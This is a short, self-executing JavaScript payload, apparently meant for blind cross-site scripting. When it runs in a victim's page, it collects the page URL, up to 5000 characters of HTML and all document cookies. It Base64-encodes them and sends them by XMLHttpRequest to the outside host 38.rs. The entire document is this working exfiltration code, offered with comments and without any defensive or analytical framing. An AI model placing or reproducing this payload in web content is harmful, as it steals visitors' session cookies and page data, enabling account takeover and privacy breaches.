// Function to send a request to 38.rs with the hostname, encoded HTML, extracted data, and cookies as parameters function sendRequestWithEncodedHtml() { // Get the full URL from the window location object var fullUrl = window.location.href; // Get the HTML from the document and slice the first 5000 characters var html = document.documentElement.outerHTML.slice(0, 5000); // Find "38.rs" in the HTML and extract 200 characters before and after it const index = html.indexOf("38.rs"); let extract = ''; if (index !== -1) { const start = Math.max(0, index - 200); const end = Math.min(html.length, index + 3 + 200); extract = html.substring(start, end); } // Base64 encode the extracted '38' content var encodedExtract = btoa(unescape(encodeURIComponent(extract))); // Base64 encode the sliced and URI-encoded HTML var encodedHtml = btoa(unescape(encodeURIComponent(html))); // Get cookies from the document var cookies = encodeURIComponent(document.cookie); // Base64 encode the cookies var encodedCookies = btoa(unescape(cookies)); // Create a new XMLHttpRequest object var xhr = new XMLHttpRequest(); // Encode the parameters to be included in the URL var params = '?hn=' + encodeURIComponent(fullUrl) + '&html=' + encodeURIComponent(encodedHtml) + '&38=' + encodeURIComponent(encodedExtract) + '&cookies=' + encodedCookies; // Open a GET request to the desired URL with the parameters xhr.open('GET', 'https://38.rs/' + params, true); // Set up a function that will be called when the request finishes xhr.onload = function() { // Check if the request was successful if (xhr.status >= 200 && xhr.status < 300) { // Successfully sent the data console.log('Data sent. Full URL:', fullUrl, 'HTML:', encodedHtml, '38 Extract:', decodeURIComponent(encodedExtract), 'Cookies:', decodeURIComponent(cookies)); } else { // There was an error with the request console.error('Request failed:', xhr.statusText); } }; // Send the actual request xhr.send(); } // Call the function to send the full URL, encoded HTML, extracted data, and cookies sendRequestWithEncodedHtml();